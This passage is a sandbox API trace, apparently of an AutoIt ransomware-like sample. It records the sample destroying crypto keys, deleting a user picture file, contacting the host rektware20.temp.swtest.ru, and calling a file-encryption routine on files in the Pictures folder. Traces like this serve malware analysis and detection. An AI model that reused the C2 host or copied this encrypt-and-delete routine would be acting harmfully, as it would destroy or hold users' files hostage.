lpBuffer=0x17dcdf0*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17dcdf0*, lpNumberOfBytesWritten=0x130f01c*=0xa7f0, lpOverlapped=0x0) returned 1 [0059.999] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.999] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0059.999] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0060.000] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.000] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.000] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0060.000] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0060.000] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621600, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0060.000] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0060.002] CryptDestroyKey (hKey=0x164c670) returned 1 [0060.002] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.002] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.002] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.002] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.002] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.002] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.006] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.006] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.006] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0060.007] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.007] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0060.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.007] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0060.007] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.007] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0060.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.007] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0060.007] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0060.007] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.007] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.007] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.008] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0060.008] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.008] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0060.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0060.008] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0060.008] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0060.008] CryptReleaseContext (hProv=0x17aa9a0, dwFlags=0x0) returned 1 [0060.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.008] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0060.008] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0060.008] FreeLibrary (hLibModule=0x74c60000) returned 1 [0060.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.008] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0060.008] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.008] CloseHandle (hObject=0x3bc) returned 1 [0060.010] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.010] CloseHandle (hObject=0x2ac) returned 1 [0060.035] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0060.035] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.035] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", lpFilePart=0x0) returned 0x32 [0060.035] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u9687iccdsuktys.bmp")) returned 0x20 [0060.035] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8f0 [0060.035] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\U9687iCCDsUKTyS.bmp" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u9687iccdsuktys.bmp")) returned 1 [0060.038] FindNextFileW (in: hFindFile=0x164c8f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0060.038] FindClose (in: hFindFile=0x164c8f0 | out: hFindFile=0x164c8f0) returned 1 [0060.038] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.038] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.038] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.038] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.039] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cab0 [0060.039] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0060.039] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.039] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0060.039] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.039] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0060.039] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0060.039] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e98, lpdwBufferLength=0x130ef8c) returned 1 [0060.039] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.039] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.039] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.040] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0060.040] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0060.040] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0060.040] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629230, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629230*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0060.040] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0060.040] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0060.041] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0060.041] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0060.041] CloseHandle (hObject=0x0) returned 0 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Pictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.041] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ictures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ctures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ures\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="res\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="es\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ywf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wf8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Iarzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="arzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rzc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zc8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wfJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fJ-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ChGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="hGm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Gm2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2.gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0060.042] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gif", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0060.042] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0060.042] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0060.043] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0060.043] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0060.043] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0060.043] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0060.043] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0060.043] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0060.043] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ee1c) returned 1 [0060.043] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0060.043] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0060.043] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0060.045] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0060.045] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0060.045] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0060.045] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0060.045] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629410, 